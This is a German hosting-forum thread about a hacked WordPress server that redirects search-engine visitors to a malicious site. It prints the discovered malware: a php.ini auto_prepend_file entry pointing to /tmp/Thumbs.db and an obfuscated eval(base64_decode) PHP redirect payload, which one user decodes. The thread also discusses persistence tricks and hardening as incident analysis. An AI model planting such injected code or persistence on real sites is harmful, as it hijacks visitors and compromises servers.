Gesamter Traffic von extern auf finditnow.osa.pl geleitet



Klingt logisch!
Aber wir wissen ja eigentlich was das Problem ist/war.
Und zwar die absolut outdatate Version von Wordpress...
Selbst Schuld!

Hab nun Malwarescan Results...

Nada..

----------- SCAN SUMMARY -----------
Known viruses: 968869
Engine version: 0.97
Scanned directories: 2018
Scanned files: 26087
Infected files: 0

Ich hab den nun die Tipps gegeben, die ihr mir gegeben habt.
Mal sehen ob es denen weiter hilft.
 
Ein bekannter hatte auch mal dieses Problem. Leider weiß ich nicht mehr wo diese Änderung durchgeführt worden ist. Erst durch den Referer von http://google* wird der Hack aktiv. Das soll verhindern, dass es dem Admin sofort auffällt.

Wenn sogar bei leeren php-Dateien dieses Verhalten auftritt, solltest du mal php deaktivieren und dann die leere php-Datei ansehen. Es müsste dann ja irgendein Code ausgegeben werden. Bevor du das machst, solltest du aber alle anderen Webpräsenzen kurzzeitig deaktivieren. Es wäre sehr schlecht, wenn durch das Abschalten des PHP-Supports andere Hacker aufeinmal an die Daten deiner Datenbank kommen. Das passiert, wenn diese unzureichend geschützt sind (.htaccess).

EDIT: Ich schon so das Gefühl, dass der Versuch zu nichts führt.

Wenn du dann den Code zu Gesicht bekommst, kannst du mit grep danach suchen, damit du dann wenigstens Bescheid weißt, was geändert worden ist.

Es wäre ja ziemlich dumm, wenn man z.B. aus Faulheit irgendwelche Dateien übernimmt und dann aufeinmal festellen muss, dass der Hack auf dem neu installierten System wieder aktiv ist.

Bin mal gespannt was du noch so findest.

PS: Es kann auch sein, dass sich der Hacker durch einen weiteren Exploit root-Rechte verschafft hat und mal eben die bin von PHP ausgetauscht hat. In so eine Fall kannst du lange suchen. Du solltest auch schnell Handeln. Je länger deine Seite so online bleibt, gefährdest du andere Internetnutzer. Immerhin musst du davon ausgehen, dass unbedarfte User darauf reinfallen.
 
Last edited by a moderator:
Es gibt mehrere uebliche Moeglichkeiten dieses Verhalten zu bewirken ohne den Server selbst zu kontrollieren:

- Schnoeder Code in den Dateien
(auschliessbar da es selbst bei leeren Dateien passiert)

- auto_prepend Script
(Setzt eine php.ini im entsprechenden Ordner oder ueber htaccess gesetzte Parameter voraus)

- Umschreiben des Filehandlers von php-Dateien mit einer eigenen modifizierten Binary (geht in den meisten Umgebungen nicht, .htaccess Eintraeg vorausgesetzt)

Die .htaccess kann uebrigens oft auch OBERHALB des Web-Ordners (also zB /home/user) liegen statt zB zwingend in /home/user/public_html

Erfahrungsgemaess dauert Reinstallation, Konfiguration und Backup-Restore von offsite-Locations bei einer voll ausgebuchten Machine zirka 24 Stunden wo man dann sicher ist dass die Machine wieder absolut unter Kontrolle ist.
Sofern keiner der 3 obigen billigen Tricks zutrifft ist ein Reinstall selbst bei pseudo-sauberem System immer an zu raten. rkHunter findet nicht alles und selbst eine einzige schlafende Shell kann dir in Zukunft genug Misere bereiten.

Ich kann nur wieder den Einsatz von Erkennungssystemen wie cxs und gotroot mod_security sowie IDS-Systemen empfehlen. Bei Sicherheit darf man nicht sparen, die Exploiter sparen auch nicht.

mr_brain said:
Wenn du wirklich Ahnung hättest, würdest du nicht mit deinem Kleinunternehmen vor dich her dümpeln.
Click to expand...
Modded -10: Flamebait. Das ist wirklich 'low'.
 
Der spruch von dir mr_brain ist mal richtig unter aller sau! Denke mal du warst im stress, bin sowas normalerweiser nicht von dir gewohnt.

Mal ehrlich, wenn ein Server gehackt wurde. Kann man ihm nicht mehr trauen, es sei denn man weiss genau wie sie drauf gekommen sind und was sie gemacht haben.
Und für sowas gibt es Firmen welche sich darauf spezialisiert haben.
Kosten natürlich auch dementsprechend.

Beste schnellste udn sichererste ist Neu aufsetzen.
Wobei 24 stunden schon ziemlich lange ist.
 
gefunden!
Hat ganz schön gedauert.
Aber nun läuft wieder alles, puh :)

; Automatically add files before PHP document.
; http://php.net/auto-prepend-file
auto_prepend_file =/tmp/Thumbs.db

cat /tmp/Thumbs.db
<?php @eval(base64_decode("DQoNCmVycm9yX3JlcG9ydGluZygwKTsNCiRuY2N2PWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkbmNjdil7DQokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQoNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJhb2wiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0d2l0dGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYXNrLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm1zbiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vayIpKSB7DQoJaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsJCQ0KCQloZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vbHVkd2lnLmJlZS5wbC8iKTsNCgkJZXhpdCgpOw0KCX0NCn0NCn0=")); ?>
Click to expand...
 
Schön, dass du es gefunden hast, aber du musst ja unbedingt sicherstellen wie der Angreifer in dein System gekommen ist. Oder habe ich das überlesen?
 
s24! said:
Schön, dass du es gefunden hast, aber du musst ja unbedingt sicherstellen wie der Angreifer in dein System gekommen ist. Oder habe ich das überlesen?
Click to expand...

Danke für die Erinnerung, aber wir haben die Lücke schon am Anfang ausfindig gemacht, es lag an der veralteten Wordpress Version.

Liebe Grüße,
Benni
 
@Benni88:
Nur mal so am Rande:
a) Das /tmp/-Verzeichnis ist eins der Ersten die ich bei so was untersuche. Und eine Windows-Typische "Thumbs.db" auf einem Linux-Server ist in meinen Augen extrem verdächtig. Traurig, dass dies nicht schon viel früher auftauchte.
b) Ein Eintrag in der php.ini ist nicht mehr ein trivialer Einbruch. Hier braucht es mehr als nur ein Cross-Site-Angriff oder PHP-Schwachstelle. Der Vorfall sollte definitiv genauer untersucht werden.

@PapaBear und @mr_brain:
Auch ich bin ein Verfechter der "fast alles kann ohne Neuaufsetzten des Servers repariert werden".
Insbesondere da meistens nach dem Reinstall Backups herangezogen werden die das Einfallsloch noch haben bzw. bereits infiziert sind.
Dies ist keine Allround-Lösung und in meinen Augen sogar eine gefährliche Aussage.

Von daher gehen mir die ständigen Wiederholungen von "Neuinstallation" tierisch auf den Senkel. Und die kamen in diesem Thread wiedermal deutlich zu oft und zu scharf.
Auch wenn mr_brain es etwas heftig ausformuliert hat (Respekt für die Entschuldigung!), so trifft es tatsächlich den Nagel auf den Kopf: Eine ständige Wiederholung dieser Aussage ist kein konstruktiver Beitrag.

huschi.
 
Huschi said:
b) Ein Eintrag in der php.ini ist nicht mehr ein trivialer Einbruch. Hier braucht es mehr als nur ein Cross-Site-Angriff oder PHP-Schwachstelle. Der Vorfall sollte definitiv genauer untersucht werden.
Click to expand...

Vielleicht sollte man dazu sagen, dass es auch darauf ankommt, wie das System aufgesetzt ist und man auf die php.ini zugreifen kann. Nehmen wir jetzt mal den Fall an, dass suexec +fcgid eingesetzt wird und eine eigene php.ini besteht.
Howtos Im Netz geben oft vor dass eine Struktur wie
/var/www/username/config/php.ini
verwendet wird und diese Datei dem Webuser gehört. Dazu natürlich mit der Aussage, das immutable Bit zu setzen.
Wird dies nicht gemacht und der User hat Zugriff auf Dateien außerhalb von /var/www/username/http/
könnte man schon mittels PHP und fopen diesen Eintrag vornehmen.

Wenn aber das immuntable Bit gesetzt war, oder es sich um die zentrale php.ini im /etc Ordner gehandelt hat, kann man deiner Aussage 100% zustimmen.
 
@huschi:
Man weiß halt nie, ob einem da nicht ein Ei ins Nest gelegt wurde. Sei es ein Prozess, der z.B. "acpid" heißt und über ein unverdächtiges init-Script mitgestartet wird, aber von außen Befehle nachlädt und den Server an ein Botnetz anschließt. Oder ein inetd-Dienst, dessen Pfad etwas angepasst wurde und nun nicht mehr "chargen" sondern "charrgen" drauf läuft, welcher beliebige Befehle auf dem System ausführt.
Das zu untersuchen und vor allem zu finden (rkhunter und Konsorten können auch nicht alles finden) ist nahezu unmöglich.
Da macht es oftmals mehr Sinn, alle Daten des Servers zu sichern, diesen neu aufzusetzen und vor dem Zurückspielen des Backups die Einfallstore zu stopfen.
Klar ist das kein Allheilmittel, aber manchmal der einzig sichere Weg ein garantiert sauberes System zu bekommen.

@Benni88
Ich habe mir erlaubt, die Versionsnummern der darauf laufenden Dienste zu prüfen um eventuelle andere Einfallslöcher (auch wenn es gefunden wurde) zu suchen.
Du hast dort einen BIND-Nameserver in einer verwundbaren Version laufen Zumindest gibt es Exploits für den, die ihn zum Absturz bringen - vielleicht können die inzwischen aber auch mehr.
Die ganzen Versionsnummern zusammengefasst lassen darauf schließen, dass da noch ein Debian Etch/Etchnhalf drauf läuft - für die Version gibt es inzwischen ohnehin keine Sicherheitsupdates und teilweise nichtmal mehr Mirror für.
Du solltest auch dahingehend definitiv mal über ein Upgrade auf Lenny oder Squeeze nachdenken.
 
Bring irgendwie ein Kernelmodul zum laden, und man hat eh komplett verloren, da noch irgend etwas zu finden. Ab dem Moment kann man dem kompletten Userland nicht mehr trauen.

Ich bleibe bei meiner Ansicht. So lange es nicht definitiv eine kleine XSS- oder Datenbank-Injection-Lücke ist, die einfach ein Stück Mist in die Datenbank gelegt hat, ist reparieren immer mit Restrisiko verbunden. Und das will man nicht auf einem Server.
 
Off-Topic zum Thema "Neuinstallation":
Beide Möglichkeiten haben ein "Restrisiko". Von daher wird diese Diskussion ins Endlos-Land führen.
Wobei ich kurz darauf hinweisen möchte, dass bei den meisten Hostern ein Rescue-System verfügbar ist, dem man im Grunde zu 99% vertrauen kann.

Mir geht es einfach und allein darum, dass ein einmaliger (evtl. möglichst freundlicher) Hinweis auf eine Neuinstallation ausreicht.
Eine Einleitung wie "Wie oft soll man noch erklären,..." ist nicht gerade ein herzlicher Willkommensgruß an Hilfesuchende.

Ihr dürft gerne bei Euren Ansichten bleiben. Aber bitte versucht diese nicht mit dem Vorschlaghammer hier im Forum durch zu setzten.

huschi.
 
Ontopic:
Code: 
\r\n\r\nerror_reporting(0);\r\n$nccv=headers_sent();\r\nif (!$nccv){\r\n$referer=$_SERVER[\'HTTP_REFERER\'];\r\n\r\nif (stristr($referer,"aol") or stristr($referer,"twitter") or stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"ask.com") or stristr($referer,"msn") or stristr($referer,"live") or stristr($referer,"facebook")) {\r\n\tif (!stristr($referer,"cache") or !stristr($referer,"inurl")){\t\t\r\n\t\theader("Location: http://ludwig.bee.pl/");\r\n\t\texit();\r\n\t}\r\n}\r\n}

Ich kenn mich zwar mit php nicht aus, aber durch evaluate wird der ganze Code ausgeführt.

Bei welchen Referer das Script anschlägt, lässt sich ja gut erkennen. Das geschickte daran ist es, alles in einer einzigen Zeile zu schreiben, damit man den Überblick verliert. Erinnert mich irgendwie an Shellcode :-)

Base64 wird gerne verwendet um irgendwas zu verstecken. Fast jede popelige Programmiersprache und auch die Shell kann damit umgehen.

Noch eine Frage, wenn das Script in /tmp gewesen ist, wieso war es noch nach dem Serverneustart noch vorhanden oder wurde der Server bis jetzt nicht neugestartet?
 
DeaD_EyE said:
Noch eine Frage, wenn das Script in /tmp gewesen ist, wieso war es noch nach dem Serverneustart noch vorhanden oder wurde der Server bis jetzt nicht neugestartet?
Click to expand...
Weil nur wenige Admins /tmp in den RAM legen, oder per Init-Script leeren lassen. Das hat den Vorteil, dass man als ungeübter Admin nicht strikt zwischen /tmp und /var/tmp trennen muss und dass man als geübter Admin die meiste Script-Kiddie-Malware auch nach einem Reboot ins Rescuesystem noch in Ruhe analysieren kann.
 
Stimmt, hat wahrhaft einen Vorteil, abgesehen von der Performance.
 
Ich bin kein Programmierer - erklärt mir jemand, wie man dadurch in die php.ini kommt? Bzw. ob das mit openbasedir und diversen deaktivierten Funktionen (Shell_exec etc.) möglich ist?

Grüße
 
Das kann man nicht pauschal sagen, da es stark auf das jeweilige System ankommt.

Hat der User eine eigene php.ini, innerhalb des per open_basedir eingeschränkten Bereiches, kann er auf diese auf verschiedene Arten wie z.B. mit der Funktion fopen zugreifen und editieren.

Um dies zu verhindern sollte man in so einem Fall die Datei mit dem immutablen Bit sichern. Zusätzlich deaktiviert man alle Funktionen von PHP, die man nicht braucht (disable_functions).

Sehr viele Server sind derart konfiguriert, dass sie PHP in keiner Weise einschränken. Ein versierter Angreifer kann seine Rechte dann recht schnell ausweiten. Dies um so leichter, wenn veraltete Software auf dem Server zum Einsatz kommt.
 
You must log in or register to reply here.
Back
Top